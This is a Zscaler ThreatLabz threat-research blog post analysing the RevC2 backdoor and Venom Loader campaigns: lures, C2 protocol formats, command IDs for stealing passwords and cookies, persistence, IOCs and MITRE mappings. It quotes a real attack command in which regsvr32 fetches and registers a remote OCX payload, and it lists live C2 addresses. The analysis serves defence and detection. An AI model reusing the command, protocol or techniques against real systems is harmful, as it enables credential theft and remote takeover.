Zscaler Blog

Get the latest Zscaler blog updates in your inbox

Subscribe
Security Research

Unveiling RevC2 and Venom Loader

image
MUHAMMED IRFAN V A
December 02, 2024 - 12 min read

Introduction

Venom Spider, also known as GOLDEN CHICKENS, is a threat actor known for offering Malware-as-a-Service (MaaS) tools like VenomLNK, TerraLoader, TerraStealer, and TerraCryptor. These tools have been utilized by other threat groups such as FIN6 and Cobalt in the past. Recently, Zscaler ThreatLabz uncovered two significant campaigns leveraging Venom Spider's MaaS tools between August and October 2024. During our investigation, we identified two new malware families, which we named RevC2 and Venom Loader, that were deployed using Venom Spider MaaS Tools.

In this blog, we dissect the attack chain used in these campaigns and provide a comprehensive analysis of these new malware families. We delve into their core features, network communication protocols, and commands.

Key Takeaways 

  • Between August and October 2024, ThreatLabz uncovered campaigns that leveraged two new malware families – RevC2 and Venom Loader.
  • These two new malware families were deployed through Venom Spider malware-as-service (MaaS) tools.
  • RevC2 uses WebSockets to communicate with its command-and-control (C2) server. The malware is capable of stealing cookies and passwords, proxies network traffic, and enables remote code execution (RCE).
  • Venom Loader is a new malware loader that is customized for each victim, using the victim’s computer name to encode the payload.

Technical Analysis

The following sections are a technical analysis of the campaigns. The URLs and file names used in these campaigns vary with each sample. We analyzed a representative sample from each campaign.

Campaign 1: API documentation lure leads to RevC2 

The first campaign, occurring from August to September, uses an API documentation lure to deliver a malicious payload, RevC2. RevC2 is a backdoor with capabilities to steal sensitive data.

The figure below illustrates the attack chain that leads to the delivery of RevC2.

Figure 1: Attack chain of the first campaign delivering RevC2 as the payload.

Figure 1: Attack chain of the first campaign delivering RevC2 as the payload. 

First stage: VenomLNK

Although the distribution method is currently unknown, the first stage of the attack begins with a VenomLNK file. This LNK file contains an obfuscated batch (BAT) script that when executed downloads a PNG image from hxxp://gdrive[.]rest:8080/api/API.png. The PNG image is an API documentation lure, as shown in the figure below.

API documentation lure used in the first campaign that leverages the RevC2.

Figure 2: API documentation lure used in the first campaign that leverages the RevC2.

The VenomLNK file executes the following command in the background to register an ActiveX control, triggering the execution of RevC2: 

wmic process call create "regsvr32 /s /i \\gdrive.rest@8080\api\AdvancedWin.ocx"

Second stage: RevC2

The second stage features RevC2, named after the Program Database (PDB) path observed in the binary: 

C:\Users\PC\Desktop\C2New\Rev\x64\Release\Rev.pdb

Upon execution, RevC2 retrieves the command-line and checks whether the first argument ends with dWin.ocx, matching the suffix of the filename. RevC2 then retrieves the path of the executable file for the current process and compares it to regsvr32.exe. The malicious software only executes if both checks pass, ensuring RevC2 is launched as part of the attack chain and not in analysis environments such as sandboxes.

RevC2 then retrieves the operating system’s local time and creates a log file in the format C:\ProgramData\boot_%YYYYMMDDTHHMMSS%.log. The log file stores internal messages generated by the malware during its execution.

An example of the log created by RevC2 is shown below:

[2024-11-14 17:21:38.530681]: Multipler : 1
[2024-11-14 17:22:01.546498]: Getting Passwords

RevC2 communication protocol

RevC2 uses WebSockets for C2 communication with the help of a C++ library, websocketpp. The C2 address is hardcoded in the binary. In the sample we examined, the address was ws://208.85.17[.]52:8082.

All data exchanged between the victim’s machine and the C2 server are JSON objects. 

  • Victim’s machine to C2 server: This JSON object includes two properties: 
    1. The output being sent.
    2. The command_ID type of the output.

The format of this JSON object is: 

{"%output_name%": "%output_value%","type":"%command_ID%"} 

  • C2 server to victim’s machine: This JSON object includes two properties:
    1. type: Contains a command_ID that tells the malware what actions to perform.
    2. command: Contains the command_parameter related to the action to be performed. In some cases, the command property is empty.

The format of this JSON object is: 

{"type":"%command_ID%","command":"%command_parameter%"}

The command_ID sent by RevC2 to the C2 server is not always the same as the command_ID sent by the C2 server to RevC2. In two cases (when executing shell commands and taking screenshots) the command_ID is different, as shown in Table 1 and Table 2.

Client registration

The first data sent to the server is related to registration. The data is a JSON object in the format {"name": "%computername%","type":"0005"}.

The figure below shows example network traffic between the victim’s machine and the C2 server.

Example network traffic between a system infected with RevC2 and the C2 server.

Figure 3: Example network traffic between a system infected with RevC2 and the C2 server.

Commands supported

RevC2 registers a function handler, which processes the command_ID and command_parameter from the C2 server and performs the appropriate actions. The command_ID’s supported by RevC2 are described in the table below.

Action

command_ID

command_parameter

Description

Steals passwords

000000

Empty

Steals passwords from Chromium browsers. 

RevC2 starts with writing an entry to the log file with the message “Getting Passwords”. Then, RevC2 retrieves saved passwords from Chromium browsers and sends them to the C2 server.

Executes shell commands

0001

%command%

Executes shell commands. 

The command_parameter contains the command to be executed. A new thread is created to execute the command. The %command% is appended with cmd /c and this command-line is used to create a new process. A pipe is created and the standard output and error of the process is redirected to this pipe. The output is read from the pipe and sent to the C2 server.

Takes screenshots

0002

%mutipler%

Takes screenshots of the victim’s system. 

The command_parameter sent is used as the multiplier. The width and height of the desktop’s screen in pixels is multiplied with this value to configure the resolution of the screenshot. The activity is added to the log file in the format: [%TimeStamp%]:Multipler : %mutipler%. A screenshot of the victim’s desktop is taken, base64-encoded, and sent to the C2 server.

Proxies traffic

0003

{"listenerIP": "%ip%", "listenerPort" : "%port%"}

Proxies network data using the SOCKS5 protocol. 

RevC2 receives data to proxy by the C2 server in the command_parameter. There are two internal command IDs that RevC2 uses:

  • 0x55 - Connects to a target address and proxies data to the proxy server.
  • 0x70 - Sends data to the connected socket (created by using the command ID 0x55) from the proxy server.

Steals cookies

0009

Empty

Steals cookies from Chromium browsers. 

RevC2 starts with writing an entry to the log file with the message “Getting Cookies”. This ID also logs details related to stealing cookies in the log file. Then, RevC2 retrieves saved cookies from Chromium browsers and sends them to the C2 server.

Executes a command as a different user

0012

{"username": "%username%","password": "%password%","command": "%commandline%"}

Executes a command as a different user using the credentials received. 

The %commandline% can be a file path or a command. RevC2 does not send the command's output to the C2 server.

Table 1: Description of the commands supported by RevC2.

The data format for each RevC2 command_ID is listed in the table below.

Action

command_ID

Data Format

Steals passwords

000000

{"passwords":"Application: %application%
Website: %website%
Login URL: %url%
User name: %username%
Password: %password%
","type":"000000"}.

Executes shell commands

0007

{"result":"%output_of_command%”, "type":"0007"}

Takes screenshots

0006

{"image":"%base64encoded_image%”, "type":"0006"}

Proxies traffic

0003

N/A

Steals cookies

0009

{"cookies":"[
{
"Application":"%application%",
"domain": "%domain%",
"expirationDate": %exp_Date%,
"httpOnly": %http_only%,
"name": "%cookie_name%",
"path": "%path%",
"sameSite": "%samesite%",
"Secure": %secure%,
"url": "%url%",
"value": "%cookie_value%"
}
]", "type": "0009"}

Executes a process as a different user

0012

N/A

Table 2: Data format for the command_ID’s supported by RevC2.

ThreatLabz created a Python script that emulates a RevC2 server. The script is available in our GitHub repository. The figure below shows example output of an emulated RevC2 server.

Python script emulating the RevC2 server.

Figure 4: Python script emulating the RevC2 server.

Campaign 2: Crypto transaction lure leads to Venom Loader and More_eggs lite malware 

The second campaign, occurring from September to October, appears to be using a cryptocurrency transaction lure to deliver Venom Loader. Venom Loader then loads More_eggs lite, a JavaScript (JS) backdoor providing remote code execution (RCE) capabilities to the threat actor.

More_eggs is a JS-based backdoor delivered using VenomLNK. We named this variant “More_eggs lite” because, although it is a JS backdoor delivered via VenomLNK, the variant only includes the capability to perform remote code execution (RCE). 

The figure below illustrates the attack chain for the second campaign delivering More_eggs lite.

Attack chain of the second campaign delivering More_eggs lite as the payload.

Figure 5: Attack chain of the second campaign delivering More_eggs lite as the payload. 

First stage: VenomLNK

Although the method of distribution is currently unknown, the first stage of the attack begins with a VenomLNK file. The LNK file contains an obfuscated BAT script which writes a Visual Basic Script (VBS) script (run_bat.vbs) and a BAT script (bat2.bat) to the Windows temporary directory. VenomLNK first executes run_bat.vbs, which is used to execute bat2.bat. The bat2.bat file downloads an image of a cryptocurrency transaction as a lure and displays the image to the victim, as shown in the figure below.

Cryptocurrency transaction lure used in the second campaign that leverages Venom Spider tools.

Figure 6: Cryptocurrency transaction lure used in the second campaign that leverages Venom Spider tools.

In the background, the malware downloads base.zip from hxxp://170.75.168[.]151/%computername%/aaa

The BAT file then unzips base.zip, which contains ApplicationFrameHost.exe. From here, the BAT file executes ApplicationFrameHost.exe which sideloads a malicious DLL named dxgi.dll, leading to the execution of Venom Loader.

Second stage: Venom Loader

The Venom Loader DLL used in this campaign is custom built for each victim and is used to load the next stage. As mentioned before, base.zip, which contains Venom Loader, is downloaded from hxxp://170.75.168[.]151/%computername%/aaa

The %computername% value is an environment variable which contains the computer name of the system. Venom Loader uses %computername% as the hardcoded XOR key to encode the following stages.

In this instance, Venom Loader is used to load the More_eggs lite backdoor. More_eggs lite’s content is stored as plain text in Venom Loader. The content is XOR’ed with the %computername% and base64-encoded. The result of this is split into three chunks and written to disk with the file names text1text2, and text3

After this, Venom Loader writes a PowerShell (PS) script to %APPDATA%\Adobe\merge.ps1, which is used to decode the chunks stored in text1text2, and text3, and write it to %LOCALAPPDATA%\Microsoft\hello.js. Then hello.js is executed using cscript. 

Next, Venom Loader creates a VBS script named run_all.vbs in the %APPDATA%\Adobe directory. This script is designed to execute commands passed to it as command-line arguments. Then, run_all.vbs is used to run merge.ps1 leading to execution of More_eggs lite. Finally, Venom Loader establishes persistence for the More_eggs lite backdoor by adding merge.ps1 to the autorun registry key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run under the name GoogleUpdate.

Third stage: More_eggs lite

More_eggs lite continuously sends HTTP POST requests in an infinite loop to <c2_address>/api/infos. The POST data is formatted as name=^%computername%&ret=. The name contains the victim’s computer name and the first request will have ret as an empty string. The output of the command to be executed is returned in the next request inside the ret parameter. The figure below shows the network traffic between a system infected with More_eggs lite malware and the C2 server.

Network traffic between a system infected with More_eggs lite and the C2 server.

Figure 7: Network traffic between a system infected with More_eggs lite and the C2 server.

The response of the request is JSON data in the format {"command": %command_encoded%}. The command_encoded is XOR’ed with %computername% and written to the Windows temporary directory as a .cmd file and executed.

Conclusion

ThreatLabz observed numerous campaigns utilizing RevC2 and Venom Loader. We believe these malware families used in these campaigns are early versions, and expect more features and anti-analysis techniques to be added in the future.

The Zscaler Cloud Sandbox has consistently detected these campaigns and other malware attacks with high accuracy. ThreatLabz continues to monitor and track these new malware families to protect our customers.

Zscaler Coverage 

Zscaler’s multilayered cloud security platform detects indicators related to RevC2 and Venom Loader at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for the campaign delivering Venom Loader and More_eggs lite.

Zscaler sandbox report for the campaign delivering Venom Loader and More_eggs lite.

Figure 8: Zscaler sandbox report for the campaign delivering Venom Loader and More_eggs lite.

In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to this campaigns at various levels with the following threat names: 

Indicators Of Compromise (IOCs) 

Type 

Indicator

Description

SHA256

9b0b58aa10577244bc0e174d588ffa8d34a54a34c1b59371acba52772b584707

 

VenomLNK used in the first campaign.

SHA256

46a982ec4ea400f8df403fa8384e1752dca070bd84beef06284f1d412e159e67

 

VenomLNK used in the first campaign.

SHA256

cf45f68219c4a105fffc212895312ca9dc7f4abe37306d2f3b0f098fb6975ec7

RevC2

SHA256

153cd5a005b553927a94cc7759a8909bd1b351407d8d036a1bf5fcf9ee83192e

RevC2

SHA256

8e16378a59eb692de2c3a53b8a966525b0d36412bfd79c20b48c2ee546f13d04

VenomLNK used in the second campaign.

SHA256

f93134f9b4ee2beb1998d8ea94e3da824e7d71f19dfb3ce566e8e9da65b1d7a2

 

Venom Loader

URL

hxxp://170.75.168[.]151:8080/transaction.pdf.lnk/

 

 

VenomLNK hosting URL.

URL

ws://208.85.17[.]52:8082

C2 of RevC2.

URL

ws://nopsec.org:8082/

C2 of RevC2.

URL

hxxp://65.38.121[.]211/api/infos

 

 

C2 of More_Eggs lite.


MITRE ATT&CK Techniques

ID

Technique Name

Description

T1547.001

Registry Run Keys / Startup Folder

Venom Loader uses autorun key for persistence. 

T1140

Deobfuscate/Decode Files or Information

More_eggs lite’s JS content is XOR’ed and base64-encoded.

T1574.002

DLL Side-Loading

Venom Loader is executed by ApplicationFrameHost.exe and goes on to sideload dxgi.dll.

T1539

Steal Web Session Cookie

RevC2 steals cookies from browsers.

T1555

Credentials from Password Stores

RevC2 steals saved passwords from browsers.

T1113

Screen Capture

RevC2 takes screenshots of the victim’s screen.

T1090

Proxy

RevC2 has a command which proxies traffic.

T1059

 

Command and Scripting Interpreter

RevC2 and More_eggs lite both have RCE capabilities.

T1571

Non-Standard Port

RevC2 conducts C2 communications through a non-standard port.

T1071.001

Application Layer Protocol: Web Protocols

RevC2 uses WebSocket for C2 communication. More_eggs lite uses HTTP for C2 communication.

T1041

Exfiltration Over C2 Channel

RevC2 and More_eggs lite are capable of exfiltrating stolen information over the C2 channel.


Appendix

Visit our GitHub repository to access the Python script that emulates the RevC2's WebSocket server.

form submtited
Thank you for reading

Was this post useful?

Get the latest Zscaler blog updates in your inbox

By submitting the form, you are agreeing to our privacy policy.